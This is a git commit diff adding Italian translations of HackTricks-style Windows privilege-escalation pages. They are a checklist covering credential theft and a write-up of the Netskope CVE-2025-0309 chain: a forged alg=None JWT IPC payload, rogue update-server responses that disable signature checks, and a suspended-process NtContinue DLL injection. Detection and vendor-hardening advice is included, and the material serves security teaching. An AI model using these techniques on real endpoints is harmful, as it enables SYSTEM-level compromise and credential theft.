Translated ['src/windows-hardening/windows-local-privilege-escalation/ab

This commit is contained in:
Translator 2025-09-03 14:45:26 +00:00
parent 4fc3be7261
commit 1bef1ad1f4
4 changed files with 509 additions and 372 deletions

View File

@ -236,6 +236,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)

View File

@ -1,114 +1,115 @@
# Checklist - Local Windows Privilege Escalation
# Lista di controllo - escalation dei privilegi locali su Windows
{{#include ../banners/hacktricks-training.md}}
### **Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### **Miglior strumento per cercare vettori di privilege escalation locale su Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
### [Informazioni di sistema](windows-local-privilege-escalation/index.html#system-info)
### [System Info](windows-local-privilege-escalation/index.html#system-info)
- [ ] Ottenere [**Informazioni di sistema**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Cercare **exploit del kernel** [**utilizzando script**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Usare **Google per cercare** exploit del kernel
- [ ] Usare **searchsploit per cercare** exploit del kernel
- [ ] Informazioni interessanti in [**variabili d'ambiente**](windows-local-privilege-escalation/index.html#environment)?
- [ ] Password nella [**cronologia di PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Informazioni interessanti nelle [**impostazioni di Internet**](windows-local-privilege-escalation/index.html#internet-settings)?
- [ ] [**Unità**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**Exploit WSUS**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] Ottenere [**System information**](windows-local-privilege-escalation/index.html#system-info)
- [ ] Cercare **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] Usare **Google** per cercare exploit del **kernel**
- [ ] Usare **searchsploit** per cercare exploit del **kernel**
- [ ] Informazioni interessanti in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
- [ ] Password nella [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
- [ ] Informazioni interessanti in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
### [Enumerazione di Logging/AV](windows-local-privilege-escalation/index.html#enumeration)
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Controllare le impostazioni di [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF**](windows-local-privilege-escalation/index.html#wef)
- [ ] Controllare le impostazioni di [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef)
- [ ] Controllare [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] Controllare se [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) è attivo
- [ ] [**Protezione LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] Verificare se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)è attivo
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Credenziali memorizzate**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Controllare se ci sono [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**Politica AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Controllare se è presente qualche [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
- [ ] [**Privilegi utente**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Controllare i [**privilegi**] dell'utente [**corrente**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Sei [**membro di qualche gruppo privilegiato**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Controllare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Sessioni utenti**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Controllare [**le home degli utenti**](windows-local-privilege-escalation/index.html#home-folders) (accesso?)
- [ ] Controllare la [**Politica delle password**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Cosa c'è [**nella Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Controllare i privilegi dell'utente **corrente** (current user **privileges**)(windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Sei [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
- [ ] Verificare se hai [alcuni di questi token abilitati](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] Controllare [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (accesso?)
- [ ] Controllare la [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
- [ ] Cosa c'è [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Rete](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Controllare le **informazioni di rete** [**correnti**](windows-local-privilege-escalation/index.html#network)
- [ ] Controllare i **servizi locali nascosti** riservati all'esterno
- [ ] Controllare le informazioni **network** **correnti** (current)
- [ ] Controllare i servizi locali nascosti limitati all'esterno
### [Processi in esecuzione](windows-local-privilege-escalation/index.html#running-processes)
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Permessi [**file e cartelle dei binari dei processi**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Estrazione password dalla memoria**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**App GUI insicure**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Rubare credenziali con **processi interessanti** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...)
- [ ] Permessi di file e cartelle dei binari dei processi [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] Rubare credenziali con **interesting processes** tramite `ProcDump.exe` ? (firefox, chrome, ecc ...)
### [Servizi](windows-local-privilege-escalation/index.html#services)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] [Puoi **modificare qualche servizio**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Puoi **modificare** il **binario** che viene **eseguito** da qualche **servizio**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Puoi **modificare** il **registro** di qualche **servizio**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Puoi approfittare di qualche **percorso di binario di servizio non quotato**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] [Puoi **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] [Puoi **modify** il **binary** che viene **eseguito** da qualche **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] [Puoi **modify** il **registry** di qualche **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] [Puoi sfruttare qualche **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
### [**Applicazioni**](windows-local-privilege-escalation/index.html#applications)
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] **Scrivere** [**permessi sulle applicazioni installate**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Applicazioni di avvio**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Driver vulnerabili** [**Driver**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **Write** permessi su applicazioni installate [**Write**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] Puoi **scrivere in qualche cartella dentro PATH**?
- [ ] Esiste qualche binario di servizio noto che **cerca di caricare qualche DLL inesistente**?
- [ ] Puoi **scrivere** in qualche **cartella di binari**?
- [ ] Puoi **write in any folder inside PATH**?
- [ ] Esiste qualche servizio che prova a caricare una DLL non esistente?
- [ ] Puoi **write** in qualche **binaries folder**?
### [Rete](windows-local-privilege-escalation/index.html#network)
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Enumerare la rete (condivisioni, interfacce, rotte, vicini, ...)
- [ ] Dare un'occhiata speciale ai servizi di rete in ascolto su localhost (127.0.0.1)
- [ ] Enumerare la rete (condivisioni, interfacce, route, neighbours, ...)
- [ ] Prestare particolare attenzione ai servizi di rete che ascoltano solo su localhost (127.0.0.1)
### [Credenziali di Windows](windows-local-privilege-escalation/index.html#windows-credentials)
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] Credenziali di [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
- [ ] Credenziali di [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che potresti usare?
- [ ] Credenziali [**DPAPI**] interessanti](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Password delle [**reti Wifi salvate**](windows-local-privilege-escalation/index.html#wifi)?
- [ ] Informazioni interessanti nelle [**connessioni RDP salvate**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] Password nei [**comandi eseguiti di recente**](windows-local-privilege-escalation/index.html#recently-run-commands)?
- [ ] Credenziali [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)
- [ ] Credenziali [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) che puoi usare?
- [ ] Informazioni interessanti in [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Password delle reti [**Wifi**](windows-local-privilege-escalation/index.html#wifi) salvate?
- [ ] Informazioni interessanti in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
- [ ] Password in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
- [ ] Password del [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
- [ ] Esiste [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credenziali?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [File e Registro (Credenziali)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Credenziali**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**chiavi host SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**Chiavi SSH nel registro**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] Password in [**file non presidiati**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **e** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] Password in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
- [ ] Qualche backup di [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
- [ ] [**Credenziali cloud**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] File [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
- [ ] [**Password GPP memorizzate**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] Password nel [**file di configurazione IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Informazioni interessanti nei [**log web**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Vuoi [**chiedere credenziali**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente?
- [ ] File interessanti [**dentro il Cestino**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Altro [**registro contenente credenziali**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] Dentro i [**dati del browser**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)?
- [ ] [**Ricerca generica di password**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registro
- [ ] [**Strumenti**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente le password
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] Password in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
- [ ] Informazioni interessanti nei [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
- [ ] Vuoi [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) all'utente?
- [ ] File interessanti dentro il [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
- [ ] Altri [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
- [ ] Dentro i [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (db, cronologia, segnalibri, ...)?
- [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in file e registry
- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) per cercare automaticamente password
### [Gestori di leak](windows-local-privilege-escalation/index.html#leaked-handlers)
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
- [ ] Hai accesso a qualche gestore di un processo eseguito da amministratore?
- [ ] Hai accesso a qualche handler di un processo eseguito dall'amministratore?
### [Impersonificazione del client Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Controlla se puoi abusarne
- [ ] Verificare se puoi abusarne
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,123 @@
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Questa pagina generalizza una classe di catene di local privilege escalation su Windows trovate in endpoint agent aziendali e updater che espongono una superficie IPC a basso attrito e un flusso di update privilegiato. Un esempio rappresentativo è Netskope Client for Windows < R129 (CVE-2025-0309), dove un utente con pochi privilegi può costringere l'enrollment verso un server controllato dall'attaccante e poi consegnare un MSI malevolo che il servizio SYSTEM installa.
Idee chiave riutilizzabili contro prodotti simili:
- Abusare dell'IPC localhost di un servizio privilegiato per forzare la ri-iscrizione o la riconfigurazione verso un server controllato dall'attaccante.
- Implementare gli endpoint di update del vendor, fornire una Trusted Root CA rogue, e puntare l'updater verso un pacchetto "signed" malevolo.
- Evadere controlli di signer deboli (CN allowlists), flag di digest opzionali, e proprietà MSI permissive.
- Se l'IPC è "encrypted", derivare la key/IV da identificatori macchina leggibili da tutti memorizzati nel registry.
- Se il servizio restringe i caller per image path/process name, inject in un processo allowlisted o spawnarne uno suspended e bootstrap la tua DLL tramite una minimale threadcontext patch.
---
## 1) Forcing enrollment to an attacker server via localhost IPC
Molti agenti distribuiscono un processo UI in usermode che comunica con un servizio SYSTEM via localhost TCP usando JSON.
Observed in Netskope:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Flusso dell'exploit:
1) Creare un token JWT di enrollment i cui claim controllano l'host backend (es., AddonUrl). Usare alg=None in modo che non sia richiesta una firma.
2) Inviare il messaggio IPC che invoca il comando di provisioning con il tuo JWT e il nome tenant:
```json
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
```
3) Il servizio inizia a contattare il tuo rogue server per enrollment/config, ad es.:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notes:
- Se la verifica del caller è basata su path/namebased, origina la richiesta da un allowlisted vendor binary (vedi §4).
---
## 2) Dirottare il canale di aggiornamento per eseguire codice come SYSTEM
Una volta che il client comunica col tuo server, implementa gli endpoint attesi e indirizzalo verso un MSI dell'attaccante. Sequenza tipica:
1) /v2/config/org/clientconfig → Restituisci una config JSON con un intervallo di aggiornamento molto breve, ad es.:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Restituisce un certificato CA in formato PEM. Il service lo installa nello store Local Machine Trusted Root.
3) /v2/checkupdate → Fornisce metadata che puntano a un MSI maligno e a una versione fasulla.
Bypassare controlli comuni osservati in the wild:
- Signer CN allowlist: il service potrebbe controllare solo che il Subject CN sia “netSkope Inc” o “Netskope, Inc.”. La tua CA rogue può emettere un leaf con quel CN e firmare l'MSI.
- CERT_DIGEST property: includi una property MSI innocua chiamata CERT_DIGEST. Nessuna enforcement all'installazione.
- Optional digest enforcement: flag di config (es., check_msi_digest=false) disabilita validazioni crittografiche aggiuntive.
Risultato: il servizio SYSTEM installa il tuo MSI da
C:\ProgramData\Netskope\stAgent\data\*.msi
eseguendo codice arbitrario come NT AUTHORITY\SYSTEM.
---
## 3) Forging encrypted IPC requests (when present)
Da R127, Netskope ha incapsulato l'IPC JSON in un campo encryptData che sembra Base64. Il reverse engineering ha mostrato AES con key/IV derivate da valori di registry leggibili da qualsiasi utente:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Gli attacker possono riprodurre la cifratura e inviare comandi cifrati validi da un utente standard. Suggerimento generale: se un agent improvvisamente “critta” la sua IPC, cerca device IDs, product GUIDs, install IDs sotto HKLM come material.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
Alcuni servizi provano ad autenticare il peer risolvendo il PID della connessione TCP e confrontando il percorso/nome dell'immagine contro binari vendor nella allowlist sotto Program Files (es., stagentui.exe, bwansvc.exe, epdlp.exe).
Due bypass pratici:
- DLL injection in un processo presente nella allowlist (es., nsdiag.exe) e proxy dell'IPC dall'interno.
- Avviare un binario della allowlist in stato suspended e bootstrap della tua proxy DLL senza CreateRemoteThread (vedi §5) per soddisfare le regole di tamper imposte dal driver.
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
I prodotti spesso imbarcano un minifilter/OB callbacks driver (es., Stadrv) che rimuove diritti pericolosi dagli handle verso processi protetti:
- Process: rimuove PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread: limita a THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Un loader usermode affidabile che rispetta questi vincoli:
1) CreateProcess di un binario vendor con CREATE_SUSPENDED.
2) Ottenere gli handle ancora permessi: PROCESS_VM_WRITE | PROCESS_VM_OPERATION sul processo, e un handle thread con THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (o solo THREAD_RESUME se patchi codice a un RIP noto).
3) Sovrascrivere ntdll!NtContinue (o un altro thunk mappato precocemente e garantito) con una piccola stub che chiama LoadLibraryW sul percorso della tua DLL, poi salta indietro.
4) ResumeThread per triggerare la stub inprocess, caricando la tua DLL.
Poiché non hai mai usato PROCESS_CREATE_THREAD o PROCESS_SUSPEND_RESUME su un processo già protetto (l'hai creato tu), la policy del driver è soddisfatta.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) automatizza una rogue CA, la signing di MSI maligni e serve gli endpoint necessari: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope è un custom IPC client che costruisce messaggi IPC arbitrari (opzionalmente AESencrypted) e include l'injection via suspendedprocess per originare da un binario nella allowlist.
---
## 7) Detection opportunities (blue team)
- Monitorare aggiunte al Local Machine Trusted Root. Sysmon + registrymod eventing (vedi guidance di SpecterOps) funziona bene.
- Segnalare esecuzioni MSI avviate dal service dell'agent da percorsi come C:\ProgramData\<vendor>\<agent>\data\*.msi.
- Revisionare i log dell'agent per host/tenant di enrollment inattesi, es.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log cercare addonUrl / anomalie tenant e provisioning msg 148.
- Allertare su client IPC localhost che non siano i binari firmati attesi, o che originano da alberi di processo figlio inconsueti.
---
## Hardening tips for vendors
- Vincolare enrollment/update hosts a una allowlist rigorosa; rifiutare domini non trusted nel clientcode.
- Autenticare i peer IPC con primitive OS (ALPC security, namedpipe SIDs) invece di controlli su image path/name.
- Tenere materiale segreto fuori da HKLM leggibile da tutti; se l'IPC deve essere cifrato, derivare le chiavi da secret protetti o negoziare su channel autenticati.
- Trattare l'updater come una superficie di supplychain: richiedere una catena completa verso una CA trusted che controlli, verificare le firme dei pacchetti contro chiavi pinned, e fail closed se la validazione è disabilitata in config.
## References
- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
- [NachoVPN Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN)
- [UpSkope Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope)
- [NVD CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309)
{{#include ../../banners/hacktricks-training.md}}